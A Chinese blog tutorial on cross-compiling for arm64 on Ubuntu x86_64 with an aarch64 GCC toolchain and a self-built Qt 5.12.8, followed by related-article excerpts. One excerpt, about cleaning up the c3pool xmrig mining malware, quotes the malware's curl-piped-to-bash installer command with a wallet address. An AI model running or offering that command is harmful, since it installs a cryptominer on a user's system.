Qt教程3-Ubuntu(x86_64)上配置arm64(aarch64)交叉编译环境及QT编译arm64架构工程
汇创慧玩
- 写在前面
- 1. 查看系统架构相关指令
- 2. ARM64交叉编译器环境搭建
- 3. Qt编译arm64环境搭建
- 4. 配置 Qt的本地aarch64交叉编译器
- 5. 工程建立及编译验证
写在前面
苦辣酸甜时光八载,春夏秋冬志此一生
Qt简介:
Qt(官方发音 [kju:t],音同 cute)是一个跨平台的 C++ 开发库,主要用来开发图形用户界面(Graphical User Interface,GUI)程序,当然也可以开发不带界面的命令行(Command User Interface,CUI)程序。
Qt 支持的操作系统有很多,例如通用操作系统 Windows、Linux、Unix,智能手机系统 Android、iOS、WinPhone, 嵌入式系统 QNX、VxWorks 等等。
Qt 虽然经常被当做一个 GUI 库,用来开发图形界面应用程序,但这并不是 Qt 的全部;Qt 除了可以绘制漂亮的界面(包括控件、布局、交互),还包含很多其它功能,比如多线程、访问数据库、图像处理、音频视频处理、网络通信、文件操作等,这些 Qt 都已经内置了。
在探索前期安装过程也是出现了星星点点的未知错误,摸黑探路,绕了许多弯路。
最近由于项目需要做国产系统适配,软件需要适配不同架构CPU!基于此特将经验寄予此文,望更多志同道合的朋友在这条探索的路上少走弯路,尽入主题!
环境:
PC系统:Ubutu20.04(x86_64架构) <本机>
Qt版本:Qt5.12.8(GCC 9.3.0,64bit) <本机>
Qt Creator 版本:4.11.0 <本机>
交叉编译器:gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu <本机>
国产系统:Kylin Linux Advanced Server release V10(4.19.90-25.10.v2101.ky10.aarch64) 部署环境<即arm64架构>
GCC:v8.3.0 部署环境<即arm64架构>
1. 查看系统架构相关指令
Ubutu 本机
uname
uname -a
uname -i
uname -r
lsb_release -a
lsb_release -i
lsb_release -r
Kylin Linux 部署环境<即arm64架构>
uname
uname -a
uname -i
uname -r
nkvers
查看CPU核数,它会显示逻辑核心数:
lscpu
nproc
2. ARM64交叉编译器环境搭建
1) 选定编译工具: gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu <可选其他版本>
2) 源码安装交叉编译工具:
源码安装指定版本是为适配所部署的环境v8.3.0 ,笔者安装了指定版本,大家没有特殊需求可参考 3)指令安装交叉编译工具
①下载:
注1:
从arm Developer 下载指定版本编译器;
注2:
这里还可以通过百度网盘下载v8.3.0
② 安装:
解压:
tar -xvf gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu.tar.xz
重命名:
mv gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu aarch64-linux-gnu-8.3.0
将目标复制到指定目录下:
<一般复制到 /opt 目录下,笔者复制到 ~/path/go 目录下>
sudo cp -rf aarch64-linux-gnu-8.3.0/ /opt
or
mkdir -p ~/path/go
cp -rf aarch64-linux-gnu-8.3.0/ ~/path/go
然后在环境变量里 /etc/profile <笔者在此文件添加>或 ~/.bashrc 添加全局变量 <注意添加自己正确路径,笔者前面未重命名>
$PATH:后面路径为gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu/bin的解压路径
sudo vim /etc/profile
#borrieguo add arm aarch64
export PATH=$PATH:~/path/go/gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu/bin
然后加载环境变量<添加在那个文件就source那个>
source /etc/profile
or
source ~/.bashrc
查看配置是否成功:输入aarch64 +TAB是否出现提示(有对应版本即表示配置成功):
查看安装路径:
which aarch64-linux-gnu-gcc-8.3.0
3) 指令安装交叉编译工具: 源码安装交叉编译工具和指令安装交叉编译工具选其中一个操作即可
指令安装自动适配本机合适版本,无需指定较为方便
sudo apt-get install gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
安装后验证下是否ok,直接输aarch64- 加Tab键如果能自动补全aarch64-linux-gnu-gcc那就问题不大。
查看版本信息:
aarch64-linux-gnu-gcc -v
能查到如下图所示,说明安装完成。
查看安装路径:
which aarch64-linux-gnu-gcc
4) 编译源码测试:
为了进一步验证交叉编译器环境搭建是否搭建成功,可进行编译源码进行验证测试。(可省略)
笔者验证的是一个C++程序。main.cpp 内容如下:
#include <iostream>using namespace std;int main()
{cout << "Hello World!" << endl;return 0;
}
将 main.cpp 源码编译成arm64可执行文件,指令如下:
aarch64-linux-gnu-g++ -o main main.cpp
编译通过后通过file
指令查看文件类型是否是ELF:64bit LSB shared object,ARM aarch64...
。如果是,则完成源码编译。
file main
也可通过readelf -h
指令查看文件系统架构是否是AArch64
。如果是,则完成源码编译。
readelf -h main
3. Qt编译arm64环境搭建
1) 选定Qt版本: 5.12.8 <可选其他版本>
2) Qt源码下载:
因为后面要在开发板上跑Qt程序,所以必须下载Qt源码包,然后用交叉编译工具进行编译,才能得到在目标平台上可以运行的Qt SDK。笔者本机上的Qt版本为Qt5.12.8(GCC 9.3.0,64bit) ,故下载Qt5.12.8的源码,目的就是在本机上构建两个Qt环境(x86_64和arm64)。实现在本机的PC上配置ARM64的编译环境,在本机的PC上编译完成后,配置Qt交叉编译环境,然后再用Qt编译自己写的代码,最后copy部署到ARM平台上运行即可。
注1:
Qt官网下载地址
注2:
百度网盘下载v5.12.8
3) Qt源码安装:
①解压:
下载了qt-everywhere-src-5.12.8.tar.xz,然后通过xz命令解压出qt-everywhere-src-5.12.8.tar文件,再通过tar命令解压qt-everywhere-src-5.12.8.tar文件,得到文件夹:qt-everywhere-src-5.12.8。
xz -d qt-everywhere-src-5.12.8.tar.xz
tar -xvf qt-everywhere-src-5.12.8.tar
or
tar -xvf qt-everywhere-src-5.12.8.tar.xz
②定义SDK安装路径
强烈不建议在Qt源码的目录下直接进行编译,那样会污染源码所在目录。建议在Qt源码所在的同级目录下,新建一个文件夹用来存放编译过程中产生的临时文件。一定要注意源码路径不能含有中文!
创建编译过程路径:
mkdir Qt-5.12.8-build
创建最终安装路径:
mkdir Qt-5.12.8-arm64
③安装
安装准备1)
打开 qt-everywhere-src-5.12.8/qtbase/mkspecs/linux-aarch64-gnu-g++/qmake.conf 配置文件,并修改为如下所示内容 ,因为一会我们要用到这个里面的内容,所以我们要先修改一下这里面的编译器。
根据自己的交叉编译器来进行编译修改,本机的交叉编译器为aarch64-linux-gnu-
如下所示:
注:上面的qmake.conf文件中,如果Ubuntu有好多个交叉编译器,一定要在交叉编译器前面加绝对路径,不然就会像我一开始make的时候会出现“not found”这些错误,或者出现下面这些错误
Makefile:51: recipe for target ‘sub-corelib-make_first’ failed
make[2]: *** [sub-corelib-make_first] Error 2
make[2]: Leaving directory ‘~/path/qt/qt-everywhere-opensource-src-5.12.8/qtbase/src’
Makefile:46: recipe for target ‘sub-src-make_first’ failed
make[1]: *** [sub-src-make_first] Error 2
make[1]: Leaving directory ‘~/path/qt/qt-everywhere-opensource-src-5.12.8/qtbase’
Makefile:77: recipe for target ‘module-qtbase-make_first’ failed
make: *** [module-qtbase-make_first] Error 2
安装准备2)
进入Qt-5.12.8-build文件夹执行configure
./../qt-everywhere-src-5.12.8/configure -prefix /home/airobot/path/qt/Qt-5.12.8-arm64 -make libs -xplatform linux-aarch64-gnu-g++ -skip qtdeclarative -no-opengl
说明:
-prefix 代表你的安装文件夹,即上面定义的最终安装路径,注意目录要对应;
-xplatform 代表你所制定的编译器;
-no-opengl -no表示不编译该模块;跳过编译openGL(因为我已经安装了Qt,所以不需要界面);
-skip qtdeclarative 跳过 qtdeclarative编译;
其它参数:
-opensource 编译开源版 -commercial 编译商业版 (参数可选);
-static 生成静态库.a文件 -shared 生成动态库so文件 (参数可选,默认是shared)注:静态库与动态库区别是在生成目标文件的链接方式上,静态库采用静态链接,在生成的目标文件(如执行文件)中会包含库文件代码,而动态库在程序编译时并不会被连接到目标代码中,而是在程序运行时才被载入。
-force-debug-info 强制生成调试信息 (参数可选)这个参数是让Qt release版本也生成.pdb文件。这个文件有什么作用呢?它就是我们在release版本下设置了异常捕获信息函数,打印出错堆栈信息所必须的文件。如果程序没用开启异常捕获选项,是不需要开启这个参数的。
-opengl dynamic 指定opengl库 (参数可选)
OpenGL(全写Open Graphics Library)是指定义了一个跨编程语言、跨平台的编程接口规格的专业的图形程序接口。它用于三维图像(二维的亦可),是一个功能强大,调用方便的底层图形库。 OpenGL™ 是行业领域中最为广泛接纳的 2D/3D 图形 API,其自诞生至今已催生了各种计算机平台及设备上的数千优秀应用程序。 OpenGL™ 是独立于视窗操作系统或其它操作系统的,亦是网络透明的。在包含CAD、内容创作、能源、娱乐、游戏开发、制造业、制药业及虚拟现实等行业领域中,OpenGL™ 帮助程序员实现在 PC、工作站、超级计算机等硬件设备上的高性能、极具冲击力的高视觉表现力图形处理软件的开发。
-skip 跳过该模块
-nomake 不编译该模块
-mp 启动多核编译
注:-skip和-nomake都可省略,但是-skip qtdeclarative这个参数不能省略,qtdeclarative模块有需要依赖的库,这里不跳过编译会失败。
如果有别的需求,可以./configure -help查看具体命令
也可使用“vim autoconfigure.sh”命令,新建“autoconfigure.sh”脚本,然后我们需要用 configure 生成下 Makefile,因为命令比较长,我们一般都是创建一个脚本,然后执行我们这个脚本生成 Makefile。
autoconfigure.sh 如下:
#!/bin/sh
#export PATH=$PATH:~/path/go/gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu/bin
./../qt-everywhere-src-5.12.8/configure -prefix ~/path/qt/Qt-5.12.8-arm64 \
#-static \
#-release \
-opensource \
-make libs \
-xplatform linux-aarch64-gnu-g++ \
#-optimized-qmake \
#-pch \
#-qt-libjpeg \
#-qt-zlib \
-no-opengl \
#-skip qt3d \
#-skip qtcanvas3d \
#-skip qtpurchasing \
#-no-sse2 \
#-no-sse3 \
#-no-ssse3 \
#-no-sse4.1 \
#-no-sse4.2 \
#-no-avx \
#-no-avx2 \
#-no-mips_dsp \
#-no-mips_dspr2 \
#-qt-zlib \
#-no-openssl \
#-no-xcb \
#-no-cups \
#-no-iconv \
#-no-evdev \
#-no-icu \
#-no-fontconfig \
#-nomake examples \
#-nomake tools \
#-skip qtvirtualkeyboard \
#-qpa linuxfb \
#-no-opengl \
#-no-libinput \
#-no-gstreamer \
#-no-system-proxies \
#-no-slog2 \
#-no-lgmon \
#-linuxfb \
#-v \
#-qt-libjpeg \
#-qt-libpng \
#-no-libproxy \
#-no-dbus \
#-no-glib \
#-no-compile-examples \
-skip qtdeclarative \
修改权限:
sudo chmod +x autoconfigure.sh
执行脚本:
./autoconfigure.sh
提示选择版本,输入o,回车
询问是否接受协议,输入y,回车
安装准备3)
编译及安装
大概编译十来分钟
make -j4 2>&1 | tee build.log
make install
完成后进入~/path/qt/Qt-5.12.8-arm64/lib路径,可以查看文件属性。系统架构为AArch64
readelf -h libQt5DBus.so
这就是我们需要的东西,到时候拷贝到开发板
4. 配置 Qt的本地aarch64交叉编译器
1) 编译器(Compliers)配置:
编译器(Compliers)安装完交叉编译工具,系统能自动找到。如果找不到需要自己通过添加(Add)按钮添加
which aarch64-linux-gnu-gcc
which aarch64-linux-gnu-g++
添加步骤:
C++编译器
配置完成通过Apply按钮应用生效。
C编译器
配置完成通过Apply按钮应用生效。
2) Qt版本(Qt Versions)配置:
Qt Versions需要添加一个自定义的版本,qmake需要刚编译安装后的qmake
配置完成通过Apply按钮应用生效。
3) 构建套件(Kit)配置:
Kit需要选择好自己新添加的Qt Version和编译器。
配置完成通过Apply按钮应用生效,通过OK按钮配置完成。
5. 工程建立及编译验证
新建工程,并选择上面配置的构建套件(Kit)
编译后得到可执行文件:
可执行文件为ARM aarch64架构,验证成功!
至此,恭喜您!Qt的交叉编译环境已成功安装,可以开始使用了!!!
下一个教程将讲述: Qt教程4-Ubuntu(x86_64)上用QEMU建立arm64(aarch64)的模拟开发环境,让您编译的ARM aarch64架构的程序在本机能够实现运行验证!
后续教程还将讲述: Qt教程5-Ubuntu(x86_64)上交叉编译的QT程序SSH直接部署到远程国产系统(ARM aarch64架构),让您在本机Qt开发的ARM aarch64架构程序,通过配置 Qt的SSH aarch64交叉编译器,从而共享所要部署的环境来直接在本机Qt上实现运行验证!
感谢阅读,我是汇创慧玩,希望文章能够解决您的问题。
事为之,须极致!
相关文章:

Qt教程3-Ubuntu(x86_64)上配置arm64(aarch64)交叉编译环境及QT编译arm64架构工程
汇创慧玩 写在前面1. 查看系统架构相关指令2. ARM64交叉编译器环境搭建3. Qt编译arm64环境搭建4. 配置 Qt的本地aarch64交叉编译器5. 工程建立及编译验证 写在前面 苦辣酸甜时光八载,春夏秋冬志此一生 Qt简介: Qt(官方发音 [kju:t]ÿ…...

2024年华为OD机试真题-最长子字符串的长度(二)-Python-OD统一考试(C卷)
题目描述: 给你一个字符串 s,字符串s首尾相连成一个环形 ,请你在环中找出l、o、x 字符都恰好出现了偶数次最长子字符串的长度。 输入描述: 输入是一串小写的字母组成的字符串。 输出描述: 输出是一个整数 补充说明: 1 <= s.length <= 5 x 10^5 s 只包含小写英文字母…...

【24届数字IC秋招总结】正式批面试经验汇总5——蔚来、tp-link
文章目录 一、蔚来-数字芯片验证工程师1.1 一面面试问题1.2 二面面试问题二、tp-link-数字IC验证工程师2.1 面试问题一、蔚来-数字芯片验证工程师 面试时间:9.6 10.6 1.1 一面面试问题 1、 讲下项目结构 2、 scoreboard如何进行数据对比的 3、 golden 数据怎么产生的 4、 在…...

【JAVA基础篇教学】第八篇:Java中List详解说明
博主打算从0-1讲解下java基础教学,今天教学第八篇:Java中List详解说明。 在 Java 编程中,List 接口是一个非常常用的集合接口,它代表了一个有序的集合,可以包含重复的元素。List 接口提供了一系列操作方法,…...

RN向上向下滑动组件封装(带有渐变色)
这段组件代码逻辑是出事有一个View和下面的块,下面的块也就是红色区域可以按住向上向下滑动,当滑动到屏幕最上面则停止滑动,再向上滑动的过程中,上方的View的背景色也会有个渐变效果,大概逻辑就是这样 代码如下 import React, {useEffect, useRef, useState} from react; impo…...

27、Lua 学习笔记之五(Lua中的数学库)
Lua中的数学库 Lua5.1中数学库的所有函数如下表: math.pi 为圆周率常量 3.14159265358979323846 数学库说明例子方法abs取绝对值math.abs(-15)15acos反余弦函数math.acos(0.5)1.04719755asin反正弦函数math.asin(0.5)0.52359877atan2x / y的反正切值math.atan2(9…...

【C++成长记】C++入门 | 类和对象(中) |拷贝构造函数、赋值运算符重载、const成员函数、 取地址及const取地址操作符重载
🐌博主主页:🐌倔强的大蜗牛🐌 📚专栏分类:C❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、拷贝构造函数 1、概念 2、特征 二、赋值运算符重载 1、运算符重载 2、赋值运算符重载 3、前置…...

OpenHarmony实战开发-页面深色模式适配。
介绍 本示例介绍在开发应用以适应深色模式时,对于深色和浅色模式的适配方案,采取了多种策略如下: 1. 固定属性适配:对于部分组件的颜色属性,如背景色或字体颜色,若保持不变,可直接设定固定色值…...

域名解析出现错误,该如何解决?
域名作为网络地址,是我们访问网站的必经之路,域名解析就是把你的域名解析成一个ip地址,在使用的过程中遇到域名解析文件异常也是常有的事。如果域名解析出现错误,该怎么解决呢? 一、打开网页时,显示域名解析…...

从iPhone恢复已删除照片的最佳软件
本文分享了从iPhone恢复已删除照片的最佳软件。如果您正在寻找如何从iPhone恢复已删除的照片,请查看这篇文章。 为什么您需要软件从iPhone恢复已删除的照片? 没有什么比丢失iPhone上的重要数据更痛苦的了,尤其是一些具有珍贵回忆的照片。有时…...

MySQL模糊查询
一、MySQL通配符模糊查询(%,_) 1.1.通配符的分类 1.“%”百分号通配符:表示任何字符出现任意次数(可以是0次) 2.“_”下划线通配符:表示只能匹配单个字符,不能多也不能少,就是一个字符。当然…...

QEMU_v8搭建OP-TEE运行环境
文章目录 一、依赖下载二、设置网络三、安装下载四、运行OP-TEE 一、依赖下载 更新依赖包,下载一系列依赖。比如Python需要Python3.x版本,需要配置git的用户名和邮箱等。这里不详细展开了,很多博客都有涉及到。 二、设置网络 这一点非常重…...

C++11 设计模式0. 设计模式的基本概念,设计模式的准则,如何学习设计模式,24种设计模式的分为3大类
一 设计模式的基本概念: 模式:指事物的标准样式 或者 理解成 针对特定问题的可重用解决方案。 设计模式,是在特定问题发生时的可重用解决方案。 设计模式一般用于大型项目中。 大型项目中,设计模式保证所设计的模块之间代码的灵…...

(十)C++自制植物大战僵尸游戏设置功能实现
植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/m0EtD 游戏设置 游戏设置功能是一个允许玩家根据个人喜好和设备性能来调整游戏各项参数的重要工具。游戏设置功能是为了让玩家能够根据自己的需求和设备性能来调整游戏,以获得最佳的游戏体验。不同的游戏和平…...

数据结构——通讯录(顺序表的实战项目)
(—).通讯录的功能 大家应该都十分了解通讯录的功能吧,无非就是对联系人的增添删除,还有信息的修改,并且联系人信息要包含名字,电话,性别,地址等。我把通讯录的功能总结如下&#x…...

数据库-Redis(14)
目录 66.Redis为什么主从全量复制使用RDB而不是使用AOF? 67.Redis为什么还有无磁盘复制模式? 68.Redis为什么还会有从库的从库设计?...

Thinkphp5.0命令行创建验证器validate类
前言 最近接手了个用FastAdmin(基于tp5)写的项目,发现命令行只提供生成controller和model的命令,没有提供make:validate命令,而5.1及以上版本是有的,对于使用tp5.0框架或者基于tp5.0的第三框架(…...

人民网至顶科技:《开启智能新时代:2024中国AI大模型产业发展报告发布》
3月26日,人民网财经研究院与至顶科技联合发布《开启智能新时代:2024年中国AI大模型产业发展报告》。该报告针对AI大模型产业发展背景、产业发展现状、典型案例、挑战及未来趋势等方面进行了系统全面的梳理,为政府部门、行业从业者以及社会公…...

AI大模型探索之路-应用篇13:企业AI大模型选型指南
目录 前言 一、概述 二、有哪些主流模型? 三、模型参数怎么选? 四、参数有什么作用? 五、CPU和GPU怎么选? 六、GPU和显卡有什么关系? 七、GPU主流厂商有哪些? 1、NVIDIA芯片怎么选? 2、…...

【安全】查杀linux上c3pool挖矿病毒xmrig
挖矿平台:猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…...

车载测试:UDS之BootLoader刷写
BootLoader刷写 本文章是花费3小时结合多个项目实践总结和整体出来的,欢迎大家交流! BootLoader刷写章节 ①:预编程步骤流程流程图 1.1 概述 1.2 流程步骤描述 1)整车ECU进入扩展会话 2)刷…...

OpenHarmony实战开发-MpChart图表实现案例。
介绍 MpChart是一个包含各种类型图表的图表库,主要用于业务数据汇总,例如销售数据走势图,股价走势图等场景中使用,方便开发者快速实现图表UI。本示例主要介绍如何使用三方库MpChart实现柱状图UI效果。如堆叠数据类型显示…...

brpc: bthread使用
使用bthread并发编程 #include <gflags/gflags.h> #include <butil/logging.h> #include <bthread/bthread.h>static void* func(void* args) {std::string* num static_cast<std::string*>(args);for(int i 0; i < 5; i) {LOG(INFO) << *…...

H.265视频直播点播录像EasyPlayer.js流媒体播放器用户常见问题及解答
EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器,可支持多种流媒体协议播放,无须安装任何插件,起播快、延迟低、兼容性强,使用非常便捷。 今天我们来汇总下用户常见的几个问题及解答。 1、EasyPlayer.js播放多路H.265视…...

蓝桥杯杂题选做
海盗分金币 题目链接:1.海盗分金币 - 蓝桥云课 (lanqiao.cn) 题解:海盗分金币-Cheery的代码 - 蓝桥云课 (lanqiao.cn) 思路:倒着想就行。 等腰三角形 题目链接:1.等腰三角形 - 蓝桥云课 (lanqiao.cn) 题解:等腰三…...

【HTML】简单制作一个分形动画
目录 前言 开始 HTML部分 效果图 编辑编辑编辑编辑总结 前言 无需多言,本文将详细介绍一段代码,具体内容如下: 开始 首先新建文件夹,创建一个文本文档,其中HTML的文件名改为[index.html]&a…...

JVM修炼之路【11】- 解决内存溢出、内存泄漏 以及相关案例
前面的10篇 都是基础的知识,包括类加载的过程 类加载的细节,jvm内存模型 垃圾回收 等等, 这一篇我们开始实战了解一下 各种疑难杂症:怎么监控 怎么发现 怎么解决 内存溢出 内存泄漏 这两个概念在垃圾回收器里面已经讲过了&#…...

Java面试题:描述Java 17中的密封接口及其用途
Java 17是继Java 11和Java 16之后的又一个长期支持(LTS)版本,它于2021年9月发布。在Java 17中,一个重要的新特性是密封接口(Sealed Interfaces),这是对Java接口的增强,它允许接口有更…...

C++11的新特性
C11是由C标准委员会指定的语言规范。相比于C98/03,C11则带来了数量可观的变化,其中包含了约140 个新特性,以及对C03标准中约600个缺陷的修正,C11能更好地用于系统开发和库开发、语法更加泛华和简单化、更加稳定和安全,…...

【C语言__动态内存管理__复习篇6】
目录 前言 一、动态内存管理 二、动态内存函数 2.1 malloc 2.2 free 2.3 calloc 2.4 realloc 三、动态内存常见的6个使用错误 3.1 接收malloc/calloc返回的参数后未及时检查是否为NULL 3.2 越界访问动态内存空间 3.3 对非动态开辟的内存使用free释放 3.4 使用free只释放了…...